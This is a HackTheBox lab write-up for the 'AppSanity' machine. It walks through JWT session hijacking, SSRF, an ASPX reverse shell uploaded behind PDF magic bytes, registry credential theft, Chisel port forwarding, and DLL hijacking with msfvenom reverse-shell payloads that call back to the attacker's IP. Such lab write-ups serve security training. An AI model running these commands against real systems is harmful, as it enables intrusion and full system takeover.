AppSanity – HackTheBox Writeup
Machine Name: AppSanity
IP: 10.10.11.238
Difficulty: Hard
Summary
AppSanity is a hard difficulty machine that starts with subdomain enumeration and manipulation of the registration process. Utilizing JWT for session hijacking, the journey led to SSRF and finally gaining a user shell through bypassing file-type restrictions. For privilege escalation, analysis of the ExaminationManagement.dll revealed a registry key, providing user credentials. Reverse port forwarding via Chisel unveiled the service on port 100, enabling exploitation of DLL hijacking to escalate privileges and eventually access administrator shell and root flag.
Information Gathering
Nmap scan shows that port 80 (HTTP), 443 (SSL) are open. The operating system is Windows.
Since it follows a redirect to “meddigi.htb”, I added it to my hosts file and visited the web page. It is a health consulting application. I checked Wappalyzer extension and found that the website is using Microsoft ASP.NET.
The only interesting page here is the “Sign In” page. I tried SQLi but it didn’t work. Then I went ahead to register myself using the “sign up” page. After registration, it was found that only the profile page was editable. I tried testing for other injection attacks such as SSTI but didn’t succeed. This seemed to be a patient’s login. There must be a doctor’s login as well.
From here, I needed more information to act upon. So I ran directory and subdomain enumeration using ffuf.
ffuf -u https://meddigi.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -mc all -ac -of csv -o dir_fuff.csv ffuf -H "Host: FUZZ.meddigi.htb" -u https://meddigi.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -mc 200 -ac -of csv -o subd_ffuf.csv
I found a subdomain called “portal”. I added it to my hosts file and visited the page.
The portal was indeed for Doctors to login.
Strangely, there was no “Sign Up” page for this portal. I assumed that the registration page is same for both patients and doctors. To prove my assumption right, the “Sign Up” request in my Burp logs showed that a parameter called “Acctype” is set to 1 while registering as a normal user.
Curiously, I changed the “Acctype” parameter to 2 in the the sign up request.
When I signed in, the account I registered was assigned a Doctor’s account.
I visited the portal and tried to login with the Doctor’s account. However, there was no “Doctor Ref. Number in the profile page of the Doctor to enter in the portal’s login.
Unable to move forward, I tried to check the cookie where I found the JWT of the user logged in. Hoping to find the reference number in the JWT, I decoded it but my luck ran out.
Session Hijacking using JWT
From this train of thought, the idea of using this JWT at the portal seemed to be logical. I captured the GET request of the portal’s page and added the Cookie Header with the “access_token” cookie along with it’s value of doctor’s JWT. I also had to set the cookie in the response by intercepting the response to the request.
After forwarding the request and manipulating the response to set the cookie, I dropped the redirects to “/Login” if prompted, and the page would anyway load “/Profile”.
Server-Side Request Forgery (SSRF)
The “Issue Prescriptions” page had a “Prescription Link” parameter. I immediately tested for SSRF since it would probably use wget or curl to fetch the resource. I tested it by hosting a python server and checking if I receive a ping back.
sudo python3 -m http.server 80 Prescription Link: http://10.10.16.3/test
As observed in the python server’s logs, the web server was indeed trying to fetch the resource.
Gaining a User Shell
Naturally, I tried to upload a ASPX reverse shell by hosting it on my machine.
wget https://raw.githubusercontent.com/borjmz/aspx-reverse-shell/master/shell.aspx python3 -m http.server 80 nc -lvnp 1234
The file was fetched by the server but my netcat listener did not catch a reverse shell. Initially, I thought that either the file is being blocked or that the file needed to be opened through it’s download link to trigger it.
After some tinkering with the application, I realized that to view the existing reports, I would first need to check the localhost IP. Through the SSRF, if I found that “127.0.0.1” was hosting a Doctor’s Panel.
I tried “127.0.0.1:8080” and found that the reports are being hosted over there.
The reports’ file name had a random name to them.
https://portal.meddigi.htb/ViewReport.aspx?file=eefeccb8-4c86-45b4-a38d-81754324a11b_Cardiology_Report_1.pdf
If the shell was uploaded earlier, it would have been displayed over here. Later, I realized that there is an Upload Report option.
Bypassing File-Type Restriction
Unfortunately, the application only allows PDF files to be uploaded. I tried to capture the request of a valid PDF file and use it’s magic bytes for the ASPX reverse shell.
Content-Disposition: form-data; name="ReportFile"; filename="cmd.aspx" Content-Type: application/pdf %PDF-1.7%âãÏÓ <reverse shell code>
It uploads successfully and I am able to see the file in the localhost 8080 port. I copied the file’s URL and replaced the domain with localhost to trigger the reverse shell.
I listen on netcat for the reverse shell and enter the reverse shell location in the prescription link parameter. After multiple attempts at catching the reverse shell while the application expires my session and deletes the account, I finally managed to get the user shell and flag.
nc -lvnp 1234 https://127.0.0.1:8080/ViewReport.aspx?file=a8b69411-47f8-458d-a0a9-630783216ea9_cmd.aspx
Privilege Escalation
I first tried to check any misconfigurations in privileges by running “whoami /all” but did not find anything interesting.
whoami /all
Since this application seemed to be about “Examinations”, I went ahead and took a look at the “ExaminationPanel” folder in the “inetpub” directory of the server. I checked the Web.config file but didn’t find anything interesting there.
cd C:\inetpub\ExaminationPanel\ExaminationPanel\bin
Next, I downloaded the “ExaminationManagement.dll” file.
# Attacker sudo impacket-smbserver myserver $(pwd) -smb2support # Windows Victim copy ExaminationManagement.dll \\10.10.16.3\myserver\ExaminationManagement.dll
I imported it to dnSpy and found that it is retrieving an encryption key from the registry located at “Software\MedDigi”.
I accessed the registry key from the shell and found a password.
reg query HKLM\Software\MedDigi 1g0tTh3R3m3dy!!
I checked the users on the system and found the user devdoc to work with this password.
evil-winrm -i meddigi.htb -u devdoc -p '1g0tTh3R3m3dy!!'
Reverse Port Forwarding via Chisel
I checked for the ports listening internally and found that port 100 is listening. I reverse port forwarded the port to my Parrot OS machine so that I can view what’s running on port 100 through my machine.
Note: I had to ensure that both the server and client chisel version were the same.
# Attacker sudo ./chisel_1.9.1_linux_amd64 server -p 9999 --reverse -v # Victim upload chisel.exe .\chisel.exe client 10.10.16.3:9999 R:100:127.0.0.1:100
Enumerating Internal Port
The service running on port 100 seems to be “Reports Management administrative console”.
nc 127.0.0.1 100 help
Naturally, the first idea was to test the upload functionality. However, the upload fails.
nc 127.0.0.1 100 upload file
I was really picking my hair over the next step. Then I checked the other directories and found the “ReportManagement” folder which seemed to be the executable running on the port 100.
Decompiling/Reversing the Executable
I downloaded the “ReportManagement.exe” file which is likely to be running on the port 100.
download ReportManagement.exe
I decompiled the executable and found that “externalupload.dll” is used by when the upload function is called. I checked the “Libraries” folder and found that the DLL file doesn’t exist. This is a straightforward indication of DLL hijacking. However, we would first need to check if a file can be written by the user “devdoc” in the “Libraries” folder.
icacls Libraries
It is evident that the user can read, write, and execute files from the “Libraries” folder.
DLL Hijacking
The idea is simply to place a malicious DLL file such that when the “upload” function is called on the port 100, the executable tries to fetch the malicious DLL file placed in the Libraries folder. When the malicious DLL file is triggered by the upload function, we receive a reverse shell on the netcat listener.
First, I’ll create the malicious file using msfvenom and upload it in the “Libraries” folder.
msfvenom -p windows/x64/shell/reverse_tcp LHOST=tun0 LPORT=4321 -f dll -o externalupload.dll upload externalupload.dll
This gave me connect to the listener but not a proper shell. Therefore, I tried it with metasploit’s handler with meterpreter payload and obtained the shell as administrator.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=4321 -f dll -o externalupload.dll upload externalupload.dll msfconsole msfconsole> use exploit/multi/handler msfconsole> set payload windows/x64/meterpreter/reverse_tcp msfconsole> set LHOST tun0 msfconsole> set LPORT 4321 msfconsole> run meterpreter> shell type C:\Users\Administrator\Desktop\root.txt
Pwned!